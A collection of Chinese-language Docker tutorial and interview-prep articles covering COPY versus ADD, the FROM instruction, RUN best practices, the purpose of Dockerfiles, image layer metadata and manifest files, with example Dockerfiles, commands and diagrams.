对于 COPY 和 ADD,优先使用 COPY。 ADD 有一些特性(如自动解压 tar 包、远程 URL 下载),这些特性可能会带来意想不到的副作用。除非明确需要这些特性,否则使用 COPY。

面试追问

问:ADD 下载 URL 和 RUN curl 下载有什么区别?

答:ADD 下载不可审计(看不到下载了什么)、不支持 auth headers、没有下载进度。而 RUN curl 可以用 -L 处理重定向、可以加 -H 认证、可以链式处理下载并解压。所以官方不推荐用 ADD 下载 URL。

问:COPY 和 ADD 可以复制的文件大小有限制吗?

答:没有硬性限制,但需要注意构建上下文的大小。构建上下文默认包含 Dockerfile 所在目录的所有文件(除非被 .dockerignore 排除)。COPY 和 ADD 只能引用构建上下文内的文件。

总结

场景 使用 原因
复制代码文件 ✅ COPY 简单明确
复制配置文件 ✅ COPY 不需要额外功能
复制并解压 tar 包 ✅ COPY + RUN 更可控
下载远程文件 ✅ RUN curl/wget 可审计
复制 tar 包且确实需要自动解压 ⚠️ ADD 明确知道在做什么
上述以外的场景 ✅ COPY 安全选择

一句话总结COPY 是默认选择,ADD 是特例工具——只用在你明确需要自动解压且确认该行为不会造成问题时。


Dockerfile FROM 指令详解

Dockerfile FROM 指令详解

核心概念

FROM 是 Dockerfile 的第一条指令(必须指令不一定是第一条,但 FROM 必须是 Dockerfile 中注释之后的第一条有效指令),它指定构建所使用的基础镜像

# 最简单的 Dockerfile
FROM ubuntu:22.04
graph TB
    subgraph FROM 的作用
        FROM[FROM ubuntu:22.04]

        FROM --> BASE[作为构建起点<br/>已有完整的文件系统]
        FROM --> LAYERS[继承基础镜像的所有层]
        FROM --> CACHE[利用基础镜像的构建缓存]

        subgraph 关系
            MINE[我的镜像层]
            UBUNTU[ubuntu:22.04 所有层]
        end

        LAYERS --> UBUNTU
        MINE --> UBUNTU
    end

FROM 的语法

# 完整语法
FROM [--platform=<平台>] <镜像>[:<标签>] [AS <别名>]

# 常用形式
FROM ubuntu:22.04                    # 指定标签
FROM ubuntu                          # 默认 latest
FROM ubuntu@sha256:abc123...         # 通过 digest 锁定版本
FROM --platform=linux/arm64 ubuntu   # 指定平台
FROM node:18 AS builder              # 多阶段构建的别名

FROM 的多种用法

用法一:基于官方镜像

# 最常见的用法
FROM python:3.11-slim
FROM node:18-alpine
FROM golang:1.20

用法二:基于精简镜像

FROM alpine:3.18           # 仅 5MB
FROM scratch               # 空镜像!用于静态编译的 Go 二进制
FROM busybox:latest        # 超小工具集镜像

用法三:多阶段构建

# 第一阶段:构建环境
FROM golang:1.20 AS builder
WORKDIR /app
COPY . .
RUN CGO_ENABLED=0 go build -o myapp

# 第二阶段:运行环境(使用不同的基础镜像)
FROM alpine:latest
COPY --from=builder /app/myapp /myapp
CMD ["/myapp"]
graph LR
    subgraph 多阶段构建
        STAGE1[阶段1: builder<br/>FROM golang:1.20<br/>300MB]
        STAGE2[阶段2: final<br/>FROM alpine:latest<br/>5MB]

        STAGE1 -->|COPY --from=builder| STAGE2
    end

用法四:基于自定义基础镜像

# 组织内部的基础镜像
FROM registry.internal.com/base/node:18
FROM mycompany/java-base:11

# 私有仓库镜像
FROM registry.cn-hangzhou.aliyuncs.com/myapp/base:1.0

如何选择基础镜像

选择逻辑

graph TB
    START[选择基础镜像] --> Q1{应用类型}
    Q1 -->|静态编译二进制| SCRATCH[FROM scratch]
    Q1 -->|Python| PY[FROM python:slim]
    Q1 -->|Node.js| NODE[FROM node:alpine]
    Q1 -->|Java| JAVA[FROM eclipse-temurin]
    Q1 -->|Go| GO[FROM golang:alpine]
    Q1 -->|通用Linux| ALPINE[FROM alpine]

    PY & NODE & JAVA & GO & ALPINE --> Q2{需要调试工具}
    Q2 -->|| FULL[FROM xxx: 完整版<br/> python:3.11]
    Q2 -->|| SLIM[FROM xxx:slim  xxx:alpine]

镜像大小对比

# 同一个语言的不同基础镜像对比
REPOSITORY          TAG       SIZE
ubuntu              22.04     78MB
alpine              3.18      5MB
node                latest    1.1GB
node                18-slim   180MB
node                18-alpine 125MB
python              3.11      880MB
python              3.11-slim 145MB
python              3.11-alpine 80MB
golang              1.20      800MB
golang              1.20-alpine 350MB

常用基础镜像推荐

场景 推荐基础镜像 大小 理由
Go 静态二进制 scratch 0MB 完全空镜像,最安全最小
Go 二进制(带调试) alpine 5MB 有 shell 和常用工具
Python Web 应用 python:3.11-slim 145MB 大小适中,兼容性好
Python 最小化 python:3.11-alpine 80MB 有时会遇到 musl 兼容问题
Node.js 生产 node:18-alpine 125MB 最小化的 Node 运行时
Java 应用 eclipse-temurin:11-jre ~200MB OpenJDK 官方推荐
Nginx 静态文件 nginx:alpine ~25MB 比 nginx:latest 小很多
通用 Linux alpine:3.18 5MB 带包管理器和 shell

FROM 的缓存行为

graph TB
    subgraph 构建缓存
        BUILD1[第一次构建<br/>docker build -t myapp .]
        BUILD2[第二次构建<br/>改了点代码]

        BUILD1 --> C1[FROM node:18<br/>需要下载]
        C1 --> C2[RUN npm install<br/>需要下载]
        C2 --> C3[COPY . .<br/>创建层]

        BUILD2 --> C4[FROM node:18<br/> 缓存命中]
        C4 --> C5[RUN npm install<br/> 缓存命中<br/>package.json 没变]
        C5 --> C6[COPY . .<br/> 缓存未命中<br/>代码变了需要重建]
    end
# FROM 的缓存策略
# - 第一次构建:从 registry 拉取基础镜像
# - 后续构建:如果本地已有基础镜像层 → 缓存命中
# - 不需要重新下载

FROM 的特殊情况

scratch:从零开始

# scratch = 完全空的镜像
FROM scratch
# 最精简的镜像大小
docker images myapp
# myapp  latest   abc123...   **0B**   ← 只有几 MB 的二进制

指定平台构建

# 在 amd64 机器上构建 arm64 镜像
FROM --platform=linux/arm64 ubuntu:22.04

# 在多平台构建中很有用
# docker buildx build --platform linux/amd64,linux/arm64 -t myapp .

指向 digest

# 完全锁定基础镜像版本,防止意外变更
FROM node:18@sha256:abc123def456789...
# 查看镜像的 digest
docker inspect node:18 --format '{{index .RepoDigests 0}}'
# node@sha256:abc123...

面试追问

问:FROM scratch 配合什么语言最合适?

答:Go。因为 Go 支持静态编译,编译出的二进制完全不需要外部依赖(libc 等),可以直接在 scratch 中运行。

FROM golang:1.20 AS builder
COPY . .
RUN CGO_ENABLED=0 go build -o app

FROM scratch
COPY --from=builder /go/app /app
CMD ["/app"]

问:FROM 是否可以使用多条?

答:可以,在多阶段构建中使用多条 FROM。每条 FROM 开始一个新的构建阶段。最终镜像只包含最后一条 FROM 之后的指令。

总结

问题 答案
FROM 是必须的吗? 是,Dockerfile 必须从 FROM 开始
可以用多个 FROM 吗? 可以,多阶段构建
基础镜像怎么选? 优先选 slim 或 alpine 版本
如何锁定版本? FROM xxx@sha256:yyy
最小基础镜像? scratch(0字节)

一句话总结:FROM 是 Dockerfile 的”地基”,选好基础镜像决定了镜像的初始大小、安全性和兼容性。


Dockerfile RUN 指令最佳实践

Dockerfile RUN 指令最佳实践

核心概念

RUN 指令在 Dockerfile 中用于执行命令,它在构建过程中产生一个新的镜像层。每个 RUN 指令都会在当前镜像之上创建一个新层,保存执行结果。

# 基本语法(两种形式)
RUN                     # shell 形式
RUN ["可执行文件", "参数1", "参数2"]  # exec 形式

为什么 RUN 指令需要最佳实践?

graph TB
    subgraph 糟糕的 RUN 写法
        BAD[多个 RUN 指令  多个层]
        BAD --> L1[1: apt-get update<br/>100MB 包缓存]
        L1 --> L2[2: apt-get install python3<br/>50MB 工具]
        L2 --> L3[3: apt-get clean<br/>但包缓存还在层1]
        L3 --> L4[4: rm -rf cache<br/>还是无法去除层1的数据]
    end

    subgraph 好的 RUN 写法
        GOOD[合并成一个 RUN  一层]
        GOOD --> L5[1: 更新+安装+清理<br/>仅保留实际需要的文件]
    end

    BAD ==>|最终大小| BAD_RESULT[镜像 > 150MB]
    GOOD ==>|最终大小| GOOD_RESULT[镜像 < 50MB]

最佳实践一:合并 RUN 指令

❌ 坏做法

FROM ubuntu:22.04

# 每个 RUN 独立成层,中间产物被持久化
RUN apt-get update
RUN apt-get install -y curl
RUN apt-get install -y nginx
RUN apt-get clean
RUN rm -rf /var/lib/apt/lists/*
# 构建结果:5 层,前 2 层中包含了 apt 缓存
# 即使最后 delete,缓存仍在之前的层中
镜像大小: ~250MB

✅ 好做法

FROM ubuntu:22.04

# 合并到一个 RUN 中
RUN apt-get update && \
    apt-get install -y curl nginx && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

# 只有一层,不保留中间缓存
# 构建结果:1 层,没有包缓存残留
镜像大小: ~180MB
节省:  70MB

最佳实践二:删除不需要的依赖

# ✅ 安装后立即删除构建依赖
FROM ubuntu:22.04 AS builder

RUN apt-get update && \
    apt-get install -y --no-install-recommends \
        build-essential \
        libssl-dev \
        && \
    # 使用这些工具编译安装...
    make && make install && \
    # 清理构建依赖
    apt-get remove -y build-essential libssl-dev && \
    apt-get autoremove -y && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

# 更好的方式:多阶段构建

最佳实践三:利用构建缓存

# 将变化不频繁的操作放在前面
FROM node:18-alpine

# 第一步:安装系统依赖(几乎不变)
RUN apk add --no-cache git openssh

# 第二步:复制依赖清单并安装(相对稳定)
COPY package.json yarn.lock ./
RUN yarn install --frozen-lockfile

# 第三步:复制源代码(经常变化)
COPY . .

CMD ["node", "app.js"]
graph TB
    subgraph 构建缓存流程
        S1[Step 1: RUN apk add<br/> 缓存命中<br/>系统依赖没变]
        S2[Step 2: COPY package.json<br/> 缓存命中<br/>依赖清单没变]
        S3[Step 3: RUN yarn install<br/> 缓存命中<br/>依赖锁文件没变]
        S4[Step 4: COPY . .<br/> 缓存未命中<br/>代码变了]
    end

    S1 --> S2 --> S3 --> S4

缓存失效的连锁反应

# ❌ 错误顺序 — 小变化导致大缓存失效
COPY . .                           # 层1: 代码经常变
RUN apt-get update && apt-get install -y python3  # 层2: 每次都重装
RUN pip install -r requirements.txt # 层3: 每次都重装

# ✅ 正确顺序 — 缓存最大化
RUN apt-get update && apt-get install -y python3  # 层1: 几乎不变
COPY requirements.txt .            # 层2: 依赖文件少变化
RUN pip install -r requirements.txt # 层3: 依赖变化才重建
COPY . .                           # 层4: 只有这层经常重建

最佳实践四:使用 –no-cache / no-install-recommends

# apt-get
RUN apt-get update && \
    apt-get install -y --no-install-recommends \
        python3 \
        nginx \
        && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

# apk (Alpine)
RUN apk add --no-cache \
        python3 \
        nginx

# pip
RUN pip install --no-cache-dir -r requirements.txt

# npm
RUN npm ci --only=production

--no-install-recommends 可以显著减少安装的包数量:

# 默认安装(包含推荐包)
apt-get install -y python3
# 安装: python3 + 推荐的包(~30个包)

# 使用 --no-install-recommends
apt-get install -y --no-install-recommends python3
# 安装: python3 + 核心依赖(~10个包)
# 减少约 50-80MB

最佳实践五:分层策略决策树

graph TB
    START[ RUN 指令] --> Q1{会留下中间产物?}
    Q1 -->|| MERGE[合并到其他 RUN <br/>或使用多阶段构建]
    Q1 -->|| Q2{频繁变化?}

    Q2 -->|| PLACE_LATE[放在 Dockerfile 靠后的位置]
    Q2 -->|| PLACE_EARLY[放在 Dockerfile 靠前的位置]

    MERGE --> Q2

    PLACE_LATE & PLACE_EARLY --> Q3{需清理缓存?}
    Q3 -->|| CLEAN[同一 RUN 中清理<br/>apt clean / rm -rf cache]
    Q3 -->|| DONE[完成]

完整的最佳实践示例

FROM node:18-alpine

# 1. 安装系统依赖 — 使用 apk --no-cache
RUN apk add --no-cache \
        tini \
        curl

# 2. 复制依赖文件 — 放在源代码前
COPY package.json package-lock.json ./

# 3. 安装项目依赖 — --only=production
RUN npm ci --only=production && \
    npm cache clean --force

# 4. 复制源代码 — 经常变化
COPY . .

# 5. 使用 tini 作为 init 进程
ENTRYPOINT ["/sbin/tini", "--"]
CMD ["node", "app.js"]

常见错误汇总

错误 后果 正确做法
多行独立 RUN 多层层,中间产物残留 && 合并
未清理 apt cache 镜像膨胀 ~100MB 同一 RUN 中 clean
COPY 放在 RUN 前面 代码变化导致依赖重装 先 COPY 依赖文件
安装推荐包 镜像额外 ~50MB --no-install-recommends
用了 apt-get upgrade 破坏了可重现性,还导致镜像变大 只安装需要的包

面试追问

问:RUN 指令的 shell 形式 vs exec 形式有什么区别?

答:

# shell 形式 — 通过 /bin/sh -c 执行
RUN apt-get install -y nginx
# 等同于: /bin/sh -c "apt-get install -y nginx"
# 优点:可以使用管道、变量替换等 shell 特性
# 缺点:有 shell 才能用

# exec 形式 — 直接执行,不经过 shell
RUN ["apt-get", "install", "-y", "nginx"]
# 优点:不需要 shell,适合 scratch 镜像
# 缺点:不能使用 ${VAR}、| 等 shell 特性

问:如果一条 RUN 命令很长,如何提高可读性?

答:使用 \ 换行 + 合理的缩进:

RUN apt-get update && \
    apt-get install -y \
        python3 \
        nginx \
        curl \
        git \
    && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

总结

🚫 坏做法                    ✅ 好做法
━━━━━━━━━━━━━━━━━━━━━━━━    ━━━━━━━━━━━━━━━━━━━━━━━━━━
多个小 RUN                  合并 RUN
不清理中间产物               清理缓存
COPY 在前 RUN 在后           依赖文件先 COPY
默认安装                     用 --no-install-recommends
不加 --no-cache             使用 --no-cache

一句话总结:写 RUN 指令时记住「合、清、序、简」——合并指令、清理缓存、合理安排顺序、精简安装。


Dockerfile 是什么及作用

Dockerfile 是什么及作用

核心概念

Dockerfile 是一个文本文件,包含了一系列指令,告诉 Docker 如何自动化地构建一个镜像。可以理解为镜像的”菜谱”——列明了原材料(基础镜像)、操作步骤(安装依赖、复制文件)、以及上菜方式(启动命令)。

graph LR
    subgraph Dockerfile = 菜谱
        RECIPE[FROM ubuntu<br/>RUN apt-get install<br/>COPY . /app<br/>CMD [start]]
    end

    subgraph 构建过程 = 烹饪
        BUILD[docker build]
    end

    subgraph 镜像 = 做好的菜
        IMAGE[myapp:latest]
    end

    subgraph 容器 = 上桌的菜
        RUN[docker run]
    end

    RECIPE --> BUILD --> IMAGE --> RUN

Dockerfile 的核心作用

作用一:自动化构建

没有 Dockerfile 之前:

# ❌ 手动构建 — 繁琐、不可重复
# 1. 启动一个 Ubuntu 容器
docker run -it ubuntu:22.04 bash

# 2. 手动执行命令
apt-get update
apt-get install -y nginx
cp /myapp/* /usr/share/nginx/html/
...

# 3. 手动提交为镜像
docker commit  myapp:v1

使用 Dockerfile 之后:

# ✅ 自动化构建 — 清晰、可重复
FROM ubuntu:22.04
RUN apt-get update && apt-get install -y nginx
COPY ./myapp/ /usr/share/nginx/html/
CMD ["nginx", "-g", "daemon off;"]
# 一行命令完成构建
docker build -t myapp:v1 .

作用二:可重复构建

Dockerfile 是声明式的——它描述”要什么”,而不是”怎么做”。

# 同样的 Dockerfile,在任何地方、任何时间构建
# 只要基础镜像不变,结果完全一致

FROM node:18-alpine@sha256:abc123...
WORKDIR /app
COPY package.json ./
RUN npm ci
COPY . .
CMD ["node", "app.js"]
graph TB
    subgraph 可重复构建
        DF[Dockerfile<br/>一份文件]
        DEV[docker build<br/>开发机]
        CI[docker build<br/>CI服务器]
        PROD[docker build<br/>生产服务器]
        IMAGE1[相同镜像<br/>sha256: xxx]
        IMAGE2[相同镜像<br/>sha256: xxx]
        IMAGE3[相同镜像<br/>sha256: xxx]
    end

    DF --> DEV & CI & PROD
    DEV --> IMAGE1
    CI --> IMAGE2
    PROD --> IMAGE3

作用三:版本控制

# Dockerfile 可以像代码一样加入 Git
git add Dockerfile
git commit -m "feat: 升级 Node 版本到 18"

# 查看变更历史
git log -p Dockerfile

# 代码审查
# PR 中包含 Dockerfile 的变更

作用四:文档即标准

Dockerfile 本身就是文档——任何人都可以看 Dockerfile 了解应用的运行环境:

# 一看就知道:这是 Node.js 应用,端口 3000
FROM node:18-alpine
EXPOSE 3000
CMD ["node", "app.js"]

Dockerfile 的核心指令一览

graph TB
    subgraph Dockerfile 指令分类
        BASE[基础镜像<br/>FROM]
        CONFIG[配置<br/>WORKDIR, USER, ENV]
        ASSET[资源<br/>COPY, ADD]
        INSTALL[安装<br/>RUN]
        PORT[端口<br/>EXPOSE]
        VOL[存储<br/>VOLUME]
        START[启动<br/>CMD, ENTRYPOINT]
    end

    BASE --> CONFIG --> ASSET --> INSTALL --> PORT --> VOL --> START
指令 作用 必学指数
FROM 指定基础镜像 ⭐⭐⭐⭐⭐
RUN 执行命令 ⭐⭐⭐⭐⭐
COPY 复制文件 ⭐⭐⭐⭐⭐
ADD 复制文件(支持自动解压) ⭐⭐⭐⭐
CMD 默认启动命令 ⭐⭐⭐⭐⭐
ENTRYPOINT 固定启动入口 ⭐⭐⭐⭐⭐
WORKDIR 设置工作目录 ⭐⭐⭐⭐
ENV 设置环境变量 ⭐⭐⭐⭐
ARG 构建参数 ⭐⭐⭐
EXPOSE 声明端口 ⭐⭐⭐
VOLUME 声明挂载卷 ⭐⭐⭐
USER 切换用户 ⭐⭐⭐
LABEL 添加元数据 ⭐⭐
HEALTHCHECK 健康检查 ⭐⭐
SHELL 切换 shell

Dockerfile 的”构建”过程

sequenceDiagram
    participant U as 用户
    participant B as Docker Build
    participant C as Cache
    participant I as 镜像存储

    U->>B: docker build -t myapp .
    Note over B: 读取 Dockerfile

    B->>C: 检查 FROM node:18 缓存
    C-->>B: 缓存命中 

    B->>C: 检查 COPY package.json 缓存
    C-->>B: 缓存命中 

    B->>C: 检查 RUN npm install 缓存
    C-->>B: 缓存命中 

    B->>C: 检查 COPY . . 缓存
    C-->>B: 缓存未命中 ❌(代码变了
    B->>B: 执行 COPY 指令
    B->>I: 保存新层

    B->>C: 检查 CMD 缓存
    C-->>B: 缓存命中 

    B-->>U: 构建成功 

一个完整的 Dockerfile 示例

# ============ 基础定义 ============
FROM node:18-alpine AS builder

# ============ 构建配置 ============
WORKDIR /app
ENV NODE_ENV=production

# ============ 复制依赖清单并安装 ============
# 利用缓存:package.json 不常变
COPY package.json yarn.lock ./
RUN yarn install --frozen-lockfile

# ============ 复制源码并构建 ============
COPY . .
RUN yarn build

# ============ 多阶段构建:生产镜像 ============
FROM nginx:alpine
COPY --from=builder /app/dist /usr/share/nginx/html
COPY nginx.conf /etc/nginx/conf.d/default.conf

# ============ 启动配置 ============
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]
HEALTHCHECK --interval=30s --timeout=3s \
  CMD wget --no-verbose --tries=1 --spider http://localhost:80/ || exit 1

没有 Dockerfile 会怎样?

graph TB
    subgraph 没有 Dockerfile
        P1[运维:你得给我个 Dockerfile]
        P2[新人:这个项目怎么部署?]
        P3[发布:手工操作,容易出错]
        P4[重建:镜像丢了就没了]
    end

    subgraph  Dockerfile
        G1[任何环境:docker build 搞定]
        G2[Dockerfile 就是部署文档]
        G3[CI/CD 自动化]
        G4[源码管理,镜像可审计]
    end

面试追问

问:Dockerfile 和 docker-compose.yml 有什么区别?

答:Dockerfile 定义”如何构建镜像”。docker-compose.yml 定义”如何运行多个容器”。一个是构建时,一个是运行时。

问:Dockerfile 的一行指令就是一层吗?

答:基本上是。每个 RUN、COPY、ADD 等指令都会产生一个新的镜像层。但 CMD、ENV、EXPOSE 只修改元数据(空层),不产生文件变更。

总结

维度 Dockerfile 的角色
构建自动化 从手动命令到一键构建
可重复性 一份 Dockerfile,处处相同构建结果
版本控制 和代码一起纳入 Git 管理
文档化 即代码即文档
CI/CD 标准化部署流程的基础

一句话总结:Dockerfile 是 Docker 世界的入口,没有它就没有标准化的容器构建——有了 Dockerfile,开发、测试、生产的环境才能做到「一次构建,到处运行」。


Docker 镜像层元数据是如何存储的?

Docker 镜像层元数据是如何存储的?

核心概念

Docker 镜像层不仅有文件内容(diff 目录),还有一整套元数据来描述层的配置、历史、环境以及层间关系。这些元数据存储在镜像的 Config 文件(JSON)中,与层数据分开管理。

graph TB
    subgraph 一个完整镜像的存储结构
        CONFIG[镜像 Config<br/>JSON 文件]
        LAYER0[ 0<br/>文件差异]
        LAYER1[ 1<br/>文件差异]
        LAYER2[ 2<br/>文件差异]
        MANIFEST[Manifest<br/>索引文件]

        CONFIG -->|描述| ENV[环境变量]
        CONFIG -->|描述| CMD[启动命令]
        CONFIG -->|描述| HISTORY[构建历史]
        CONFIG -->|记录| LAYER_META[各层元数据]

        MANIFEST -->|引用| CONFIG
        MANIFEST -->|引用| LAYER0
        MANIFEST -->|引用| LAYER1
        MANIFEST -->|引用| LAYER2
    end

Config 文件:元数据的核心

完整的 Config JSON 结构

# 查看镜像的 config
docker inspect ubuntu:22.04

Config 中的重要字段:

{
  "architecture": "amd64",
  "os": "linux",

  "config": {
    "Env": [
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
    ],
    "Cmd": ["bash"],
    "WorkingDir": "/",
    "Entrypoint": null,
    "Labels": {},
    "ExposedPorts": null,
    "Volumes": null,
    "User": ""
  },

  "rootfs": {
    "type": "layers",
    "diff_ids": [
      "sha256:abc123...",
      "sha256:def456..."
    ]
  },

  "history": [
    {
      "created": "2024-01-15T10:00:00Z",
      "created_by": "/bin/sh -c apt-get update && ...",
      "empty_layer": false
    }
  ]
}

关键字段详解

1. config — 容器运行时配置

{
  "config": {
    "Env": ["PATH=/usr/bin:/bin"],
    "Cmd": ["nginx", "-g", "daemon off;"],
    "Entrypoint": null,
    "ExposedPorts": {"80/tcp": {}},
    "WorkingDir": "/usr/share/nginx/html",
    "User": "nginx",
    "Labels": {
      "maintainer": "NGINX Docker Maintainers"
    }
  }
}

2. rootfs.diff_ids — 层内容标识

{
  "rootfs": {
    "type": "layers",
    "diff_ids": [
      "sha256:a2abt2c2d...",   // 第1层的内容哈希
      "sha256:b3bc3d3e..."    // 第2层的内容哈希
    ]
  }
}

注意:diff_ids未压缩内容的哈希,而 Manifest 中的 digest压缩后内容的哈希。

3. history — 构建历史

{
  "history": [
    {
      "created": "2024-01-15T10:00:00Z",
      "created_by": "FROM ubuntu:22.04",
      "empty_layer": true    // 空层:没有产生文件变更
    },
    {
      "created": "2024-01-15T10:01:00Z",
      "created_by": "RUN apt-get update && apt-get install -y nginx",
      "empty_layer": false   // 非空层:有文件变更
    }
  ]
}

层元数据的物理存储

Overlay2 驱动下的元数据

/var/lib/docker/overlay2/
├── 7e718b9f9f6f8b1f9248.../       # 层目录   ├── diff/                       # 文件变更内容      ├── etc/                     # 新增/修改的文件      ├── usr/
│      └── ...
│   ├── link                        # 短链接名   ├── lower                       # 下层引用   └── merged                     # 合并视图
│
├── l/                              # 短链接目录   ├── ABCXYZ -> ../7e718b9f.../diff
│   └── DEFUVW -> ../9f3b8c1d.../diff

各个元数据文件的作用:

# link — 该层的短名
cat /var/lib/docker/overlay2/7e718b9f.../link
# ABCXYZ

# lower — 下层列表(从上到下,用 : 分隔)
cat /var/lib/docker/overlay2/9f3b8c1d.../lower
# l/ABCXYZ:l/DEFUVW

# 层间关系图
graph TB
    subgraph Overlay2 层元数据
        L3[3<br/>merged 视图]
        L2[2<br/>link: DEFUVW<br/>lower: l/ABCXYZ]
        L1[1<br/>link: ABCXYZ<br/>lower: (无下层)]
    end

    L3 --> L2 --> L1

镜像元数据的完整生命周期

sequenceDiagram
    participant B as Docker Build
    participant C as Config
    participant L as Layers
    participant R as Registry

    B->>C: 构建时记录 ENV, CMD, etc
    B->>L: 生成文件变更层
    B->>C: 记录层的 diff_ids

    B->>R: Push Manifest(元数据索引)
    B->>R: Push Blob(元数据内容+层数据)

    Note over C,R: Registry 中元数据也是通过内容寻址存储

手动查看层元数据

# 1. 查看镜像的完整元数据
docker inspect ubuntu:22.04

# 2. 仅查看历史
docker history ubuntu:22.04 --no-trunc

# 3. 查看镜像的 rootfs 信息
docker inspect ubuntu:22.04 --format '{{json .RootFS}}'
# {"Type":"layers","Layers":["sha256:xxx","sha256:yyy"]}

# 4. 查看容器的元数据(运行时的层信息)
docker inspect  | jq '.[0].GraphDriver'
# {
#   "Data": {
#     "LowerDir": "...",
#     "MergedDir": "...",
#     "UpperDir": "...",
#     "WorkDir": "..."
#   },
#   "Name": "overlay2"
# }

元数据与层数据的关系

graph LR
    subgraph 存储抽象
        META[元数据层]
        FILE[文件数据层]
    end

    subgraph 元数据包含
        M1[容器配置<br/>CMD, ENV, ENTRYPOINT]
        M2[层索引<br/>diff_ids]
        M3[构建历史<br/>每条指令的记录]
        M4[层间关系<br/>parent, lower]
    end

    subgraph 文件数据包含
        F1[文件变更<br/>新增/修改/删除]
        F2[whiteout 文件<br/>删除标记]
    end

    META --> M1 & M2 & M3 & M4
    FILE --> F1 & F2

    M2 -.->|哈希引用| FILE

面试追问

问:diff_ids 和 Manifest 中的 digest 有什么区别?

答:diff_ids 是未压缩层内容的 SHA256。Manifest 中的 digest 是压缩后(gzip)内容的 SHA256。两者不同是因为压缩改变了数据。

问:empty_layer 是什么意思?

答:某些 Dockerfile 指令(如 LABELENVEXPOSE)不会产生文件变更,它们只在 Config 中记录,对应 empty_layer: true

总结

存储位置 内容 作用
Config JSON ENV, CMD, Entrypoint, 元数据 容器启动配置
diff_ids 每层未压缩内容的哈希 层内容标识
history 构建指令记录 调试与审计
Layer diff/ 实际文件变更 镜像内容本体
link/lower 层间关系 OverlayFS 挂载

一句话总结:镜像元数据存储在 Config JSON 中,与文件变更内容分开管理,Manifest 作为索引将两者关联起来。


Docker 镜像清单(Manifest)文件是什么?

Docker 镜像清单(Manifest)文件是什么?

核心概念

Manifest(清单文件)是 Docker 镜像的元数据描述文件,它记录了镜像由哪些层组成、层的哈希值、大小以及配置信息。可以理解为镜像的”身份证”和”目录索引”。

graph TB
    subgraph 镜像的组成
        MANIFEST[Manifest 清单<br/>告诉 Docker<br/>这个镜像有哪些层]

        MANIFEST --> CFG[Config<br/>容器配置<br/>entrypoint, env ]
        MANIFEST --> L0[Layer 0<br/>基础层]
        MANIFEST --> L1[Layer 1<br/>依赖层]
        MANIFEST --> L2[Layer 2<br/>应用层]

        L0 & L1 & L2 --> CONTENT[实际的镜像内容<br/>文件差异]
    end

Manifest 的结构详解

只看官方镜像的 manifest:

# 拉取一个镜像但不解包
docker pull alpine:latest

# 查看 manifest(需要 registry API)
# 或者用 docker inspect 查看镜像配置
docker inspect alpine:latest

一个典型的 Manifest JSON:

{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "config": {
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "size": 1502,
    "digest": "sha256:abc123..."
  },
  "layers": [
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "size": 3554219,
      "digest": "sha256:def456..."
    }
  ]
}
graph TB
    subgraph Manifest JSON 结构
        SCHEMA[schemaVersion: 2]
        MEDIA[mediaType: v2 manifest]

        subgraph Config 部分
            CONFIG[Config]
            CONFIG_META[mediaType: container image config]
            CONFIG_SIZE[size: 1502 bytes]
            CONFIG_DIGEST[digest: sha256:xxx]
        end

        subgraph Layers 数组
            L0[Layer 0
mediaType: tar+gzip
digest: sha256:xxx
size: 3.5MB
] L1[Layer 1
...
] L2[Layer 2
...
] end end SCHEMA --> MEDIA --> CONFIG MEDIA --> L0 MEDIA --> L1 MEDIA --> L2

Manifest List(多架构清单)

Docker 支持一个 tag 指向多个架构的镜像,这就是 Manifest List(也叫 Fat Manifest):

{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.list.v2+json",
  "manifests": [
    {
      "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
      "size": 7143,
      "digest": "sha256:xxx...",
      "platform": {
        "architecture": "amd64",
        "os": "linux"
      }
    },
    {
      "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
      "size": 7143,
      "digest": "sha256:yyy...",
      "platform": {
        "architecture": "arm64",
        "os": "linux"
      }
    }
  ]
}
graph TB
    subgraph Manifest List
        ML[alpine:latest<br/>Manifest List]

        ML --> M1[amd64 manifest<br/>digest: xxx]
        ML --> M2[arm64 manifest<br/>digest: yyy]
        ML --> M3[arm/v7 manifest<br/>digest: zzz]

        M1 --> L1_0[amd64 0]
        M1 --> L1_1[amd64 1]

        M2 --> L2_0[arm64 0]
        M2 --> L2_1[arm64 1]
    end

为什么要 Manifest List?

# 在 x86_64 机器上拉取
docker pull alpine:latest
# Docker 自动根据架构选择 amd64 的 manifest
# 只下载 amd64 的层,不会下载 arm64 的层

# 在树莓派(ARM64)上拉取
docker pull alpine:latest
# Docker 自动选择 arm64 的 manifest

Manifest 的实际用途

1. 验证镜像完整性

# 查看镜像的 digest(内容哈希)
docker inspect myapp:latest --format '{{index .RepoDigests 0}}'
# myapp@sha256:abc123...

# 通过 digest 精确拉取(绕开 tag 变更)
docker pull myapp@sha256:abc123...

2. 构建多架构镜像

# 创建 Manifest List
docker manifest create myapp:latest \
    myapp:amd64 \
    myapp:arm64

# 给不同架构添加注释
docker manifest annotate myapp:latest \
    myapp:arm64 --arch arm64

# 推送 Manifest List
docker manifest push myapp:latest

3. 调试镜像层

# 查看镜像的所有层 digest
docker inspect nginx:latest | jq '.[0].RootFS.Layers'
# [
#   "sha256:123...",
#   "sha256:456..."
# ]

# 基于 digest 拉取特定层
# 虽然不能直接拉取单层,但可以引用层进行调试

Manifest 在 Push/Pull 过程中的作用

sequenceDiagram
    participant C as Docker Client
    participant R as Docker Registry
    participant S as Storage

    Note over C,S: Push 流程

    C->>S: 上传各层(按 digest 标识)
    C->>R: 上传 Config
    C->>R: 上传 Manifest

    Note over C,S: Pull 流程

    C->>R: 请求 myapp:latest
    R->>C: 返回 Manifest
    C->>C: 解析 Manifest,获取层 digest 列表
    C->>R: 请求 sha256:xxx(层0
    R->>C: 返回层数据
    C->>R: 请求 sha256:yyy(层1
    R->>C: 返回层数据

面试追问

问:Manifest List 和 Manifest 有什么区别?

答:Manifest 描述单个镜像(一个架构),Manifest List 包含多个 Manifest 的指针,实现同一个 tag 下多个架构的支持。

